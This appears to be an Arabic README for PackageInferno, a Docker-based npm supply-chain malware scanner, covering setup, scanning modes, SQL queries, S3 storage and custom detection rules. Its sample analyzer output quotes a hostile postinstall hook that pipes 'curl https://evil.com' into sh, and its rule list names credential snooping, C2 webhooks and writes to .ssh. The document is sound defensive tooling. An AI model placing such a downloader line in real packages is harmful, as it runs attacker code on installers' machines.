
ماسح حزم عام للمجتمع
بسيط بشكل مذهل، ماسح سلسلة توريد npm يعتمد على Docker أولاً. ملف compose واحد يشغّل:
هذه هي النسخة المقتصرة على الحاويات فقط. يمكن بناء المشروع ليتم توسيعه باستخدام EC2 وSQS وRDS. معظم الإعدادات لذلك جاهزة في مجموعة الأدوات.
scan.yml (قوائم السماح، العتبات، YARA)scan_runs) جاهز للعمل~/.aws)docker-compose.yml – الخدمات: db, enumerator, fetcher, analyzer, dashboard, init-dbenumerator/ – عامل Node يبني قائمة انتظار NDJSONfetcher/ – عامل Node ينزّل الحزم المضغوطة (+ يرفع إلى S3 إذا كان مفعلاً)analyzer/ – محلل ثابت بلغة Python (+ YARA مضمّن اختياري)dashboard/ – تطبيق Streamlit (المنفذ 8501)infra/migrations.sql – مخطط قاعدة البيانات الأساسي (packages, versions, findings, scores, indexes)infra/20251106_scan_runs.sql – جدول سجل الفحصscan.yml – تكوين التحليل (القواعد، التقييم، قوائم السماح، YARA)scripts/run_pipeline.sh – تشغيل enumerate → fetch → analyzescripts/init_db.sh – تهيئة مخطط قاعدة البياناتscripts/test_setup.sh – تحقق آلي من الإعدادSCANNING_GUIDE.md – استراتيجيات وأمثلة تفصيلية للفحصالمتطلبات: Docker Desktop (أو المحرك) مع Compose v2.
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
يستنسخ هذا المستودع إلى ~/package-inferno ويعطيك تعليمات للبدء.
اسحب وشغّل الحاويات المبنية مسبقًا من GitHub Container Registry:
# Clone the repo (for config files and scripts)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# Run with pre-built images
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
الصور المتاحة:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:mainشغّل سكربت الاختبار للتحقق من تثبيتك:
./scripts/test_setup.sh
سيقوم هذا بما يلي:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# open http://localhost:8501
تظهر النتائج في ./out/findings/*.findings.json وفي جدول findings عند تفعيل قاعدة البيانات.
يدعم PackageInferno استراتيجيات فحص متعددة حسب أهدافك:
استهدف حزمًا محددة تريد تحليلها:
# Single command with seeds
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# Or from a file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
كيف اختبرت في البداية: استخدمت SEEDS="is-odd,is-even" للتحقق السريع.
فحص الحزم بترقيم الصفحات من سجل npm:
# Clean previous runs
rm -rf downloads/* out/*
# Scan 2 pages of 10 packages each (20 packages)
export MAX_CHUNKS=2 # Number of pages
export CHUNK_LIMIT=10 # Packages per page
unset SEEDS # Important: disable seeds mode
# Run individual steps for better visibility
docker compose run --rm enumerator # Discovers and queues
docker compose run --rm fetcher # Downloads tarballs
docker compose run --rm analyzer # Scans for threats
مثال على المخرجات:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
فحص سجل npm بالكامل:
export MAX_CHUNKS=0 # 0 = unbounded
export CHUNK_LIMIT=100 # Larger batches for efficiency
./scripts/run_pipeline.sh
تحذير: سيستمر هذا لساعات/أيام ويفحص مئات الآلاف من الحزم. راقب مساحة القرص وحجم قاعدة البيانات.
يحفظ الـ enumerator الحالة في ./out/enumerator_state.json مع موضع المؤشر:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
ببساطة أعد تشغيل خط الأنابيب وسيستأنف من آخر مؤشر:
./scripts/run_pipeline.sh # Automatically resumes
لفرض فحص جديد:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
من فحص من صفحتين لـ 22 حزمة، إليك ما اكتشفه PackageInferno:
-- Top suspicious packages by score
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- Results:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
لماذا كانت rendition مشبوهة إلى هذا الحد؟
url_outside_allowlist - نطاقات غير مسموح بهاsuspicious_pattern - أنماط shell/evaladvanced_obfuscation - ترميز hex وXOR ومصفوفات سلاسلbig_base64_blob - حمولات مشفّرة كبيرةurl_in_code - روابط مضمّنةنظام التقييم (المكوَّن في scan.yml) يجمع هذه النتائج لإنتاج درجة خطر وتصنيف (clean أو suspicious أو malicious).
افتح http://localhost:8501 بعد تشغيل docker compose up -d dashboard
الميزات:
وصول SQL مباشر للتحليل المخصص:
# Connect to database
docker exec -it pi-postgres psql -U piuser -d packageinferno
استعلامات مفيدة:
-- Packages with credential theft attempts
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- All C2/webhook destinations found
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- Typosquatting attempts
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- Packages with native binaries
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
تُحفظ النتائج أيضًا كـ JSON منظم في ./out/findings/:
# View findings for a specific package
cat out/findings/[email protected] | jq .
# Count findings by severity
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# Extract all C2 URLs found
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
إذا كنت تريد تخزين المخرجات في S3:
package-inferno-tarballs (حزم npm المضغوطة الخام)package-inferno-findings (مخرجات المحلل)~/.aws يحتوي على بيانات اعتماد صالحة (عبر ملف تعريف أو متغيرات بيئة).export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # optional; or rely on env creds
يقوم compose بتركيب ~/.aws في الـ fetcher والـ analyzer. إذا كان LOCAL_ONLY=false، يرفع الـ fetcher الحزم المضغوطة إلى S3_TARBALLS. إذا تم تعيين S3_FINDINGS، يرفع الـ analyzer نتائج JSON بعد كتابتها محليًا.
مثال على سياسة IAM دنيا (أرفقها بالمستخدم/الدور الذي تستخدمه):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
خيارات الضبط الرئيسية موجودة في scan.yml. أبرزها:
analysis.allow_domains – النطاقات التي لن تُثير إنذار "خارج قائمة السماح"analysis.allowlist.build_tools – تعبيرات regex لخطوات البناء غير الضارةanalysis.yara.* – تفعيل YARA المضمّن (مفعّل افتراضيًا)، مسار القواعد، حدود الحجم/الوقتscoring.rule_weights و scoring.thresholds – ضبط تصنيف "مشبوه/خبيث"متغيرات بيئة الحاويات التي يمكنك ضبطها:
DAYS (الافتراضي 30)، CHUNK_LIMIT (الافتراضي 100)، MAX_CHUNKS (الافتراضي 5)SEEDS، SEEDS_FILE – أسماء الحزم الأوليةLOCAL_ONLY=true (قائمة انتظار إلى ملف)، DB_URL لإزالة التكرار مقابل قاعدة البياناتLOCAL_ONLY=false لرفع الحزم المضغوطة إلى S3S3_TARBALLS، AWS_REGION، AWS_PROFILEMAX_EXTRACT_BYTES=0 لاستخراج غير محدودS3_FINDINGS، رابط قاعدة البيانات مُعد مسبقًا لـ compose المحلي:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson (ويمكنه إدراج/تحديث إصدارات "في قائمة الانتظار" في قاعدة البيانات)../downloads، ويرفعها إلى S3 إذا كان مكونًا../out/findings. إذا كانت قاعدة البيانات مكونة، فإنه يُدرج/يحدّث النتائج والدرجات.enumerator/src/enumerator.js)الغرض: يكتشف حزم npm التي سيتم فحصها ويبني قائمة انتظار العمل.
ما يفعله:
SEEDS أو SEEDS_FILE_changes للتحديثات الأخيرة_all_docs (مع مؤشر قابل للاستئناف)./out/fetch_queue.ndjson أو SQSمتغيرات البيئة الرئيسية:
SEEDS="pkg1,pkg2" - أسماء حزم مفصولة بفواصل للفحصSEEDS_FILE - مسار ملف نصي يحتوي على حزمة واحدة في كل سطرMAX_CHUNKS=5 - حد ترقيم الصفحات (0 = غير محدود)CHUNK_LIMIT=100 - الحزم لكل صفحة APIDB_URL - اتصال Postgres لإزالة التكرارمثال على الاستخدام:
# Scan specific packages
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# Scan from file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)الغرض: ينزّل حزم npm المضغوطة من السجل.
ما يفعله:
./out/fetch_queue.ndjson (أو SQS)./downloads/ بالصيغة [email protected]S3_TARBALLS)متغيرات البيئة الرئيسية:
LOCAL_ONLY=true - تخطي رفعات S3 (وضع محلي فقط)S3_TARBALLS - اسم دلو S3 لتخزين الحزم المضغوطةDOWNLOAD_DIR=./downloads - دليل الإخراج المحليMAX_RETRIES=5 - محاولات إعادة HTTPتنسيق مفتاح S3: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)الغرض: محرك تحليل ثابت يكتشف الأنماط الخبيثة في الحزم.
ما يفعله:
package.json للبيانات الوصفية وخطافات دورة الحياةscan.yml./out/findings/ ويُدرج/يحدّث في قاعدة البياناتقواعد الكشف (انظر analyzer/src/analyzer.py للقائمة الكاملة):
lifecycle_script - خطافات تثبيت/ما بعد التثبيت خطرةurl_outside_allowlist - استدعاءات شبكية لنطاقات غير مسموح بهاc2_webhook - نقاط نهاية استخراج معروفة (Discord وSlack وTelegram)env_snoop - الوصول إلى مفاتيح AWS والرموز وكلمات المرورwrites_outside_pkg - كتابات نظام ملفات إلى .ssh و.npmrc وأدلة النظامtyposquat_detected - اسم حزمة مشابه لحزم شائعةadvanced_obfuscation - hex وXOR ومصفوفات سلاسل وتسطيح تدفق التحكمyara_match - إصابات قواعد YARA (برمجيات خبيثة، استغلالات، ويب شيلات)phishing_form - نماذج جمع بيانات الاعتمادnative_binary_present - ملفات تنفيذية PE/ELF/Mach-Oمتغيرات البيئة الرئيسية:
MAX_EXTRACT_BYTES=0 - حد حجم الاستخراج (0 = غير محدود)SCAN_YML=/app/scan.yml - مسار ملف التكوينDB_URL - اتصال Postgres لتخزين النتائجS3_FINDINGS - دلو S3 لرفع النتائجتنسيق المخرجات (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "High-risk postinstall hook: shell_spawn, downloader"
}
}
]
}
1. الكشف القائم على الأنماط (أضف إلى analyzer/src/analyzer.py):
# Define regex pattern
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# Add to analyze_file_bytes() function
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... existing code ...
# Your custom check
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': 'Detected dangerous-function call'
}
})
return out
2. أضف أوزان التقييم (scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # Your new rule
# ... existing rules ...
thresholds:
suspicious: 7
malicious: 12
3. حدّث دالة التقييم (analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... existing rules ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... rest of function ...
1. أنشئ ملف القواعد المخصصة (yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "Detects custom threat pattern"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. حدّث scan.yml:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # Point to your rules
max_file_size_mb: 10
timeout_seconds: 30
3. ثبّت القواعد المخصصة في docker-compose.yml:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
أضف النطاقات الموثوقة إلى scan.yml لتقليل النتائج الإيجابية الزائفة:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # Add your domain
اسمح بأوامر البناء المشروعة:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db يعمل، ثم أعد تشغيل ./scripts/init_db.sh.~/.aws/credentials وAWS_REGION وسياسة/أذونات الدلو.scan.yml (analysis.yara.enabled: false).CHUNK_LIMIT أو زيادة MAX_CHUNKS تدريجيًا.| الوضع | حالة الاستخدام | السرعة | التغطية | الأمر |
|---|
| بذور محددة | اختبار/التحقيق في حزم معروفة | الأسرع | مستهدفة | SEEDS="pkg1,pkg2" |
| دفعة صغيرة | التحقق من الإعداد، فحص عينة | سريع | 10-100 حزمة | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| السجل الكامل | تدقيق شامل لسلسلة التوريد | ساعات-أيام | 2M+ حزمة | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| موجز التغييرات | مراقبة الإصدارات الجديدة (مشمول تلقائيًا) | لحظي | التحديثات الأخيرة | مدمج |
AWS_REGIONDB_URL لكتابة النتائج والدرجات في Postgres